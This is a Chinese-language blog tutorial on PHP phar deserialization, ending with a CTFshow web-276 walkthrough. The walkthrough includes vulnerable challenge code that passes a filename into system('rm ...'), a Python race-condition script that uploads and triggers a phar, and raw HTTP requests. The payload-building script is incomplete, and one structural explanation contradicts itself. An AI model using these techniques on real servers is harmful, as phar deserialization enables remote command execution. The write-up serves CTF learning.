php中的phar反序列化基础

53次阅读
没有评论

共计 6336 个字符,预计需要花费 16 分钟才能阅读完成。

参考php反序列化拓展攻击详解–phar-先知社区]

什么是phar?

phar类似Java中的jar,将整个php应用程序打包到一个文件里面。
用户可以直接通过php test.phar执行一个php项目

phar本质上是一个包含多个文件的压缩包,里面存储着有特殊的数据。
开发者可以把phar一整个项目打包成一个phar文件,用户下载这一个文件就可以执行整个项目
php中的phar反序列化基础

phar文件的结构

大体来说 Phar 结构由4部分组成
php中的phar反序列化基础

1.stub:phar 文件标识

<?php
Phar::mapPhar();
include 'phar://phar.phar/index.php';
__HALT_COMPILER();
?>
  • 这是一个 合法的 PHP 脚本片段,必须以 <?php 开头,并以 __HALT_COMPILER(); ?> 结尾。

  • 当你直接运行 php app.phar 时,PHP 解释器会执行这个 stub。

  • 它通常用于设置自动加载、引导应用入口等。
    简单来说可以把他理解为一个标志
    格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

    2. Manifest(清单 / 元数据)

  • 一个二进制或序列化的结构,记录了归档中每个文件的:

    • 文件路径(在 phar 内部的虚拟路径)
    • 偏移量(在文件中的位置)
    • 大小
    • 压缩方式(none / gzip / bzip2)
    • 权限(如 0644)
    • 时间戳
    • 是否为目录
  • 还可能包含全局元数据(通过 setMetadata() 设置)。

这部分由 Phar 扩展自动管理,开发者通常无需手动操作。

3. File Contents(文件内容区)

  • 所有被添加到 Phar 中的实际文件内容(按顺序或按压缩方式存储)。
  • 每个文件可以独立选择是否压缩(Gzip 或 Bzip2)。
  • 在 PHP 中可通过 phar:// 流访问,例如:
    file_get_contents('phar://myapp.phar/config/app.php');

    4. Signature(签名,可选)

  • 位于文件末尾(但在 __HALT_COMPILER(); 之后?不,实际在 __HALT_COMPILER(); 之前的数据之后)。
  • 用于验证 Phar 文件是否被篡改。
    这个没啥好讲的,一般不是考点

生成一个phar文件

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

<?php
   class TestObject {}

   $phar = new Phar("phar.phar"); //后缀名必须为phar
   $phar->startBuffering();//开启 Phar 的缓冲写入模式。操作暂存内存中
   $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
   $o = new TestObject();
   $phar->setMetadata($o); //将自定义的meta-data存入manifest
   $phar->addFromString("test.txt", "test"); //在 Phar 归档内部创建一个名为test.txt的虚拟文件,内容为字符串 "test"。
   //签名自动计算
   $phar->stopBuffering();//将内存中数据写入磁盘
?>

我们可以在phpstorm里面看到phar文件展开的格式
php中的phar反序列化基础

phar文件中的meta-data是以序列化的形式储存的
php中的phar反序列化基础

当 PHP 访问 phar://... 流时(如 file_exists('phar://a.phar')),会自动反序列化 manifest 中的 metadata
metadata里面序列化后的数据:
php中的phar反序列化基础

触发反序列化的函数

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
php中的phar反序列化基础

这里我们来演示一下phar触发反序列化
生成phar的php:

<?php  
phpinfo();  
class TestObject {  
    public function __destruct() {  
        echo $this->data;  
        echo 'Destruct called';  

    }  
}  

@unlink("phar.phar");  

$phar = new Phar("phar.phar"); //后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub  
$o = new TestObject();  
$phar->setMetadata($o); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();  
?>

读取phar的php:

<?php  
class TestObject {  
    public function __destruct() {  
        echo $this->data;  
        echo 'Destruct called';  

    }  
}  
include('phar://phar.phar/test.txt');

运行第一个生成phar文件
然后运行第二个php
php中的phar反序列化基础
可以看到成功触发了反序列化
Bzip / Gzip协议和phar://一样可以触发反序列化

$filename = 'compress.zlib://phar://phar.phar/test.txt';

利用phar进行rce

利用条件
1.phar文件要能够上传到服务器端。
2.如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数要有可用的魔术方法作为"跳板"。
3.文件操作函数的参数可控,且::、/、phar等特殊字符没有被过滤。

看几个例题

CTFshow web-276

<?php  

/*  
# -*- coding: utf-8 -*-  
# @Author: h1xa  
# @Date:   2020-12-08 19:13:36  
# @Last Modified by:   h1xa  
# @Last Modified time: 2020-12-08 20:08:07  
# @email: h1xa@ctfer.com  
# @link: https://ctfer.com  

*/  

highlight_file(__FILE__);  

class filter{  
    public $filename;  
    public $filecontent;  
    public $evilfile=false;  
    public $admin = false;  

    public function __construct($f,$fn){        
    $this->filename=$f;        
    $this->filecontent=$fn;  
    }  
    public function checkevil(){  
        if(preg_match('/php|../i', $this->filename)){            
        $this->evilfile=true;  
        }  
        if(preg_match('/flag/i', $this->filecontent)){            
        $this->evilfile=true;  
        }  
        return $this->evilfile;  
    }  
    public function __destruct(){  
        if($this->evilfile && $this->admin){            
        system('rm '.$this->filename);  
        }  
    }  
}  

if(isset($_GET['fn']))
{    
$content = file_get_contents('php://input');   
$f = new filter($_GET['fn'],$content);  

if($f->checkevil()===false){        
file_put_contents($_GET['fn'], $content);        
copy($_GET['fn'],md5(mt_rand()).'.txt');        
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);  
        echo 'work done';  
    }  
      
}else{  
    echo 'where is flag?';  
}

前面的filter类暂时先不管
重点是后面的file_put_contentsfile_get_contents
file_get_contents可以写入我们的phar文件
然后file_put_contents地方可以使用我们的phar://解析数据从而实现反序列化
那么我们可以构造恶意的phar文件实现rce
构造恶意phar文件的php

<?php
class filter{  
    public $filename;  
    public $filecontent;  
    public $evilfile=false;  
    public $admin = false;  

    public function __construct($f,$fn){  
        $this->filename=$f;  
        $this->filecontent=$fn;  
    }  
    public function checkevil(){  
        if(preg_match('/php|../i', $this->filename)){  
            $this->evilfile=true;  
        }  
        if(preg_match('/flag/i', $this->filecontent)){  
            $this->evilfile=true;  
        }  
        return $this->evilfile;  
    }  
    public function __destruct(){  
        if($this->evilfile && $this->admin){  
            system('rm '.$this->filename);  
        }  
    }  
}

由于会删除文件,这里需要用到条件竞争

import base64  
import requests  
import threading  
flag = False  
url = 'https://01ce13d4-6d43-42a7-a103-6c861870257b.challenge.ctf.show/'  
data = open('./evil.phar', 'rb').read()  
pre_resp = requests.get(url,verify = False)  
print(pre_resp.status_code)  
if pre_resp.status_code != 200:  
    print(url + 'n链接好像挂了....')  
    exit(1)  
def upload():  
    requests.post(url+"?fn=evil.phar", data=data, verify = False)  
def read():  
    global flag  
    r = requests.post(url+"?fn=phar://evil.phar/", data="",verify = False)  
    if "ctfshow{" in r.text and flag is False:  
        print(base64.b64encode(r.text.encode()))  
        flag = True  
while flag is False:  
    a = threading.Thread(target=upload)  
    b = threading.Thread(target=read)  
    a.start()  
    b.start()

或者是用yakit
upload:

POST /?fn=evil.phar HTTP/1.1

Host: 01ce13d4-6d43-42a7-a103-6c861870257b.challenge.ctf.show

Connection: keep-alive

sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate, br, zstd

Accept-Language: zh-CN,zh;q=0.9

{{file(C:UsersRycarPhpstormProjectsphp反序列化ctfshow-web276evil.phar)}}

rce:

POST /?fn=phar://evil.phar/ HTTP/1.1

Host: 01ce13d4-6d43-42a7-a103-6c861870257b.challenge.ctf.show

Connection: keep-alive

sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate, br, zstd

Accept-Language: zh-CN,zh;q=0.9
正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2025-11-26发表,共计6336字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)
验证码